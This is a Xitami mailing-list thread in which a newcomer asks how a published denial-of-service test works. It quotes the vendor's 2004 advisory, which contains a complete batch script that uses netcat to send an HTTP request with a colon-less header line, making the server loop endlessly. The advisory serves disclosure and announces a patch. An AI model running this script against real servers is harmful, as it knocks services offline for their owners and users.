[Xitami] Xitami DOS reported

[xitami@lists.xitami.org]

Hello Forum, :)    ;|

Sorry,,,,I forgot to mention that the effort in this case is to produce the DOS and the version of Xitami is:

               V2.5b4

-------------- Original message from jglong3@att.net: -------------- 
> Hello Xitami Forum, :) :) 
> 
> I am a newbie at Web stuff and Xitami. I am trying to come up to speed with all 
> the new stuff (compilers; APIs; WEB Pages; Web servers and CGI; etc.). 
> 
> I understand the DOS script code below using the nc.exe and have it running on 
> my LAN from a client to the Xitami Server. 
> 
> The code below runs as expected and a Browser can continue to use the Xitami 
> Server. 
> So, since I am new to Xitami, Web Pages, Headers, etc. it appears I need to 
> understand how the MALFORMED HEADER defined below is created in the code 
> below????? 
> 
> 
> Results of running the test code below: 
> 
> The test code was executed with the following: 
> 
> test www.gsc.com 80 
> 
> For testing, the www.gsc.com is maintained locally in the hosts file and points 
> to the IP address of the Xitami server. And, the above execution of the test 
> sends back the contents of the web page defined for www.gsc.com. 
> 
> Even if the actual IP address of the Xitami Server is used it sends back error 
> messages: 
> 
> 403 forbidden 
> You are not authorized to access this reasource 
> 
> And, the Xitami Server can continue to be accessed by a Browser. 
> 
> 
> I took a stab at modifying the line: echo HOST: %1>>http.tmp and removed the : 
> from HOST: 
> But, Xitami sent back the error: 
> 
> 403 forbidden 
> You are not authorized to access this reasource 
> 
> And, Xitami continues to work from a Browser as expected. 
> 
> 
> Thanks for your time, help, and advise!!!! :) :) 
> 
> Jerry 
> 
> 
> -------------- Original message from Pieter Hintjens : -------------- 
> > Hi, 
> > 
> > A serious denial of service has been found in Xitami. This is the report: 
> > 
> > -------------------------------------------------------------- 
> > Application: Xitami Web Server 
> > Vendors: http://www.xitami.com/xiopen_2_5.zip 
> > Version: v2.5c1 
> > Platforms: Windows 
> > Bug: D.O.S 
> > Date: 2004-07-15 
> > Author: CoolICE 
> > e-mail: CoolICE#China.com 
> > ================ 
> > Content: 
> > ---------------- 
> > TestCode: 
> > @echo off 
> > :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
> > :Application: Xitami Web Server 
> > :Vendors: http://www.xitami.com/xiopen_2_5.zip 
> > :Version: v2.5c1 
> > :Platforms: Windows 
> > :Bug: D.O.S 
> > :Date: 2004-07-15 
> > :Author: CoolICE 
> > :e-mail: CoolICE#China.com 
> > :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 
> > if '%1'=='' echo Usage:%0 target [port]&&goto :eof 
> > set PORT=80 
> > if not '%2'=='' set PORT=%2 
> > for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need 
> > nc. 
> > exe&&goto :eof 
> > echo GET / HTTP/1.0>http.tmp 
> > echo HOST: %1>>http.tmp 
> > echo DOS>>http.tmp 
> > echo.>>http.tmp 
> > nc -w 10 %1 %PORT% < http.tmp 
> > del http.tmp 
> > -------------------------------------------------------------- 
> > 
> > The denial of service is this: a malformed header (without the ':') causes the 
> > server to enter an endless loop. 
> > 
> > This DOS affects all versions of Xitami. For those building from source, the 
> > affected file is smthttpl.c, and the patch is in the function 
> > http_parse_header: 
> > 
> > We are in the process of releasing new binaries, which will be on Xitami.com 
> > in a very short while. 
> > 
> > -- 
> > Pieter Hintjens 
> > iMatix Corporation 
> > 
> 
> 
> -- 
> Xitami Users Mailing List -- For Xitami support 
> To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami